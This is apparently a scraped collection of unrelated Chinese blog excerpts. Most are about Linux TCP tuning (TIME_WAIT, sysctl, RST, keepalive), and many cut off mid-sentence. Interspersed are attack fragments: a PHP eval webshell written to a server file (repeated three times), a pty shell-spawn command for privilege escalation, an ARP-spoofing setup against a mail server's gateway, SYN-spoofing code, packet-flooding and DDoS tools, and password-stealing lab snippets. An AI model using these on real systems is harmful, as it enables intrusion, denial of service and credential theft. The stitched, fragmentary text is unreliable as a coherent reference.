提高Linux应对短连接的负载能力 在存在大量短连接的情况下,Linux的TCP栈一般都会生成大量的 TIME_WAIT 状态的socket。你可以用下面的命令看到: netstat -ant| grep -i time_wait 有时候,这个数目是惊人的: netstat -ant|grep -i time_wait |wc -l 可能会超过三四万。这个时候,我们需要修改 linux kernel 的 tcp time wait的时间,缩短之,有个 sysctl 参数貌似可以使用,它是 /proc/sy
下面来分别对这几个问题进行分析. 1. 操作系统能否支持百万连接? 对于绝大部分 Linux 操作系统, 默认情况下确实不支持 C1000K! 因为操作系统包含最大打开文件数(Max Open Fil
今天我们来玩一下ChaosMesh模拟网络duplicate包的情况。同时也要看一下对应用产生的直接影响。
早上毕玄转给我一个问题,vsearch在上海机房部署的应用,在应用关闭后,端口释放的时间要比杭州机房的时间长。
01 前言 以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功
上图这个服务器“优化”是不是似曾相识,网上有太多太多这样的文章,核心调优方案就是开启 tcp_timestamps 和 tcp_tw_recycle。诚然这个“调优“,确实如毒品一般让业务瞬间得到虚幻一般的高潮,但是他的危害也如毒品一般让业务一步步陷入深渊。
在TCP断开连接四次挥手时, 主动发起关闭方会产生 TIME_WAIT, TIME_WAIT 是 TCP 协议可靠性设计的重要一个环节, 虽说增强了可靠性, 但是对于高并发场景下, 会产生大量的 TIME_WAIT, 导致高峰时段无端口可以使用.
当Linux服务器的TIME_WAIT过多时, 通常会想到去修改参数降低TIME_WAIT时长, 以减少TIME_WAIT数量,但Linux并没有提供这样的接口, 除非重新编译内核。 Linux默认的TIME_WAIT时长一般是60秒, 定义在内核的include/net/tcp.h文件中: #define TCP_TIMEWAIT_LEN (60*HZ) /* how long to wait to destroy TIME-WAIT state, * about 60 seconds */ #define TCP_FIN_TIMEOUT TCP_TIMEWAIT_LEN /* BSD style FIN_WAIT2 deadlock breaker. * It used to be 3min, new value is 60sec, * to combine FIN-WAIT-2 timeout with * TIME-WAIT timer. */ 注意tcp_fin_timeout不是TIME_WAIT时间: # cat /proc/sys/net/ipv4/tcp_fin_timeout 60 tcp_fin_timeout实为FIN_WAIT_2状态的时长, Linux没有提供修改TIME_WAIT时长接口,除非修改宏的定义重新编译内核。 但Windows可以修改注册表中的TcpTimedWaitDelay值来控制TIME_WAIT时长。 RTO:超时重传(Retransmission Timeout) TIME_WAIT是一个常见经常的问题,相关内容(/etc/sysctl.conf或/proc/sys/net/ipv4): 1) net.ipv4.tcp_timestamps 为1表示开启TCP时间戳,用来计算往返时间RTT(Round-Trip Time)和防止序列号回绕 2) net.ipv4.tcp_tw_reuse 为1表示允许将TIME-WAIT的句柄重新用于新的TCP连接 3) net.ipv4.tcp_tw_recycle 为1表示开启TCP连接中TIME-WAIT的快速回收,NAT环境可能导致DROP掉SYN包(回复RST) 4) net.ipv4.tcp_fin_timeout FIN_WAIT_2状态的超时时长 5) net.ipv4.tcp_syncookies 为1时SYN Cookies,当SYN等待队列溢出时启用cookies来处理,可防范少量SYN攻击 6) net.ipv4.tcp_max_tw_buckets 保持TIME_WAIT套接字的最大个数,超过这个数字TIME_WAIT套接字将立刻被清除并打印警告信息 7) net.ipv4.ip_local_port_range 8) net.ipv4.tcp_max_syn_backlog 端口最大backlog内核限制,防止占用过大内核内存 9) net.ipv4.tcp_syn_retries 对一个新建连接,内核要发送多少个SYN连接请求才决定放弃,不应该大于255 10) net.ipv4.tcp_retries1 放弃回应一个TCP连接请求前﹐需要进行多少次重试,RFC规定最低的数值是3,这也是默认值 11) net.ipv4.tcp_retries2 在丢弃激活(已建立通讯状况)的TCP连接之前﹐需要进行多少次重试,默认值为15 12) net.ipv4.tcp_synack_retries TCP三次握手的SYN/ACK阶段重试次数,缺省5 13) net.ipv4.tcp_max_orphans 不属于任何进程(已经从进程上下文中删除)的sockets最大个数,超过这个值会被立即RESET,并同时显示警告信息 14) net.ipv4.tcp_orphan_retries 孤儿sockets废弃前重试的次数,缺省值是7 15) net.ipv4.tcp_mem 内核分配给TCP连接的内存,单位是page: 第一个数字表示TCP使用的page少于此值时,内核不进行任何处理(干预), 第二个数字表示TCP使用的page超过此值时,内核进入“memory pressure”压力模式, 第三个数字表示TCP使用的page超过些值时,报“Out of socket memory”错误,TCP 连接将被拒绝 16) net.ipv4.tcp_rmem 为每个TCP连接分配的读缓冲区内存大小,单位是byte 17) net.ipv4.tcp_wmem 为每个TCP
/************************************ *自定义发IP包例子(TCP/IP包发送) *给目标主机的端口发送一个 syn请求, *注意目标主机的信息会发给发送IP地址的主机 *这说明TCP/IP协议本身有IP期骗的漏洞 *这种方运可以自己写成特殊的基于IP协议上层的自定义协议 ************************************/ #include <stdio.h> #include <sys/socket.h> #include <netinet/
(1)interactive_timeout : 服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800,我把它改为7200。
上一篇文章阅读量比较多,看起来网络的主题比较受欢迎。这一篇文章我们继续探索 BPF 在网络领域的应用:使用 BPF 来实现安全组。
Below is an example which does exactly what you need: hook received TCP packets and print their payloads. If you want to print some other information from received packet (like binary data), you just need to modify a bit the section under this comment:
TCP keepalive机制最初是为了解决长时间处于空闲状态的连接问题而设计的。
When you are writing a linux application that needs either kernel to userspace communications or userspace to kernel communications, the typical answer is to use ioctl and sockets.
之前已经分析过了keep-alive,最近在使用nodejs的keep-alive的时候发现了遗漏了一个内容。本文进行一个补充说明。我们先看一下nodejs中keep-alive的使用。
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因为客户端可以设置接收数据的超时时间,当客户端调用connect函数发送SYN时,由于客户端收到服务端的SYN/ACK的时间超过了客户端设置的等待时间,造成接收超时。当服务端的SYN/ACK到达时,客户端回应RST。
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
标题党勿喷,内核可以搞的鬼很多,本文只分析其中一种。 现网问题中,我们经常会遇到一种场景,带宽明明没超限,但是tcp传输性能却不符合预期,而且时快时慢?本文展开分析其中一种常见原因——tcp内存使用太高搞的鬼。
如果想做模仿网络攻击的测试,选择高速小包发送工具,最好还是可以指定协议的。当然,我们研究这些可不是打算用来攻击他人的机器,搞网络破坏的,而是用来通过该方法测试收数据体验一下被攻击的感觉,哈哈,也顺便衡量一下机器的性能。这方面smartbit测试仪可以完全可以满足。可惜啊,一台都得好几十万,对于大多数人来说都不太划算。那么还有没有软件的发包工具可以实现高速按指定协议发送数据包啊?!有。还是要归功于linux的开源精神的许多网络黑客的无私奉献。我们可以采用linux内核自带的发包工具pktgen,或者经常被用来进行网络攻击的stream源代码。 不过目前stream.c是比较老的版本了,现在我们可以使用改进而来的stream3.c或stream3o.c来完成我们的发包任务,很不错啊,在源码里面修改for循环的次数,就可以指定发包数量。然后编译源码运行,指定自己想要的参数,就可以达到目的了。呵呵! The packet size distribution enhancement of the Linux Kernel Packet Generator: ———————————————————-
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time
在这之前先了解一下epoll:epoll 全称 eventpoll,是 linux 内核实现IO多路复用(IO multiplexing)的一个实现。IO多路复用的意思是在一个操作里同时监听多个输入输出源,在其中一个或多个输入输出源可用的时候返回,然后对其的进行读写操作,和epoll类似的还有poll、select;epoll 监听的 fd(file descriptor)集合是常驻内核的,它有 3 个系统调用 (epoll_create, epoll_wait, epoll_ctl),通过 epoll_wait 可以多次监听同一个 fd 集合,只返回可读写那部分。更详细的介绍在另一个文章
这里是thread-per-connection的实现,针对连接数目不多的情况,每次读开一个线程,负责从stdin写到socket
请点击此处输入图片描述 写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php 1、linux的想着先跨站 shell浏览目标站不行,命令行下输入: ls -la /www.users/ 2、溢出提权 # python –c ‘impotr pty;pty.spawn(“/bin/sh”); 来得到
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这周帮朋友用 eBPF/SystemTap 这样的动态 tracing 工具做了一些很有趣的功能。这篇文章算是一个总结
在开发之前,我们先对项目的文件以及文件的内容进行整理,让结构更加的清晰。整理的依据是开发规范。
首先,先介绍一下CentOS7的镜像,本文中,我们使用的是CentOS7.2的镜像 CentOS7的下载地址可以从以下这个地址下载 http://mirrors.aliyun.com/centos/7/isos/x86_64/CentOS-7-x86_64-DVD-1708.iso CentOS -7-x86_64 -DVD -1708.iso 从 CentOS 7 之后,版本命名就跟发行的日期有关了。 • CentOS-7 系统是 7.x 版本 • x86_64 64 位操作系统,并且从 7以后不再提供 以后不再提供 32 位镜像。 位镜像。
在后端接口性能指标中一类重要的指标就是接口耗时。具体包括平均响应时间 TP90、TP99 耗时值等。这些值越低越好,一般来说是几毫秒,或者是几十毫秒。如果响应时间一旦过长,比如超过了 1 秒,在用户侧就能感觉到非常明显的卡顿。如果长此以往,用户可能就直接用脚投票,卸载我们的 App 了。
最近一年的时间里,现网碰到RST问题屡屡出现,一旦TCP连接中收到了RST包,大概率会导致连接中止或用户异常。如何正确解决RST异常是较为棘手的问题。
最初这个问题是读者在我的 TCP 掘金小册的《TCP RST 攻击与如何杀掉一条 TCP 连接》小节中的一个留言提出的:「处于 ESTABLISHED 的连接,为什么还要响应 SYN 包?」,这篇文章就来聊聊这一部分的内容。
网络驱动接收网络数据包并将数据包放入TCP/IP上层,编写网络驱动接收数据包必须分配sk_buff结构来存储数据,sk_buff将在上层释放。
如图所示,服务器发送了大量的 reset,在我 watch 的时候还在发,多半有问题。
http://blog.csdn.net/unbutun/article/details/3394061
TCP的经典异常问题无非就是丢包和连接中断,在这里我打算与各位聊一聊TCP的RST到底是什么?现网中的RST问题有哪些模样?我们如何去应对和解决?
网上看了很多篇有关socket本地通信的示例,很多都是调通服务端和客户端通信功能后就没有下文了,不太实用,真正开发中遇到的问题以及程序稳定性部分没有涉及,代码健壮性不够,本系列(socket本地通信篇)会先直接调通linux本地socket通信,提供最基本的服务端和客户端代码,然后根据实际开发中遇到的问题和优化建议,再提供一版健壮版本的服务端代码。再次明确一点,本篇博文不会搬移太多概念性的东西,比如三次握手协议,还有各个unix系统调用的功能。
主要应用方向是上位机和嵌软(如stm32单片机)通讯,不在单片机中嵌入web server,即mac层通讯。
信息安全课程——窃取密码 一、 一、 安装ubantu16-64 Desktop版本 通过XShell连接虚拟机。 sudo apt install openssh-server sudo apt-get install vim #安装vim,使用上下左右键 sudo apt-get install gcc-multilib 代码如下: //getpass.c #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <
本文作者:sivenzhang,腾讯 IEG 测试开发工程师 1. 前言 本文主要对 Linux 系统内核协议栈中网络层接收,发送以及转发数据包的流程进行简要介绍,同时对 Netfilter 数据包过滤框架的基本原理以及使用方式进行简单阐述。 内容如有理解错误而导致说明错误的地方,还请指正。如存在引用而没有添加说明的,也请及时告知,非常感谢! 2. 基础网络知识 2.1 网络分层模型 OSI 模型中将网络划分为七层,但在目前实际广泛使用的 TCP/IP 协议框架体系内,我们一般将网络划分为五层,从
上周有位读者面美团时,被问到:TCP 四次挥手中,能不能把第二次的 ACK 报文, 放到第三次 FIN 报文一起发送?
根据用户提供的文章内容进行摘要总结
本实验窃取密码的前提是要明文传输,先必须找到一个登录页面是采用http协议(非https)的站点,一般的163邮箱都有相应的防御机制,建议使用自己学校的邮箱或门户,随意输入用户名和密码。
这篇文章之前发过,但是当时忘记标注原创了。有读者反馈,我文章被别人转载,但是没有注明原作者信息,所以就重新发一遍,标注个原创。
张三的电脑(ip:192.168.1.110)上有一个网络应用程序A(通信端口5000),
根据TCP 协议的规定,会收到一个RST响应,client再往这个服务器发送数据时,系统会发出一个SIGPIPE信号给进程,告诉进程这个连接已经断开了,不要再写了
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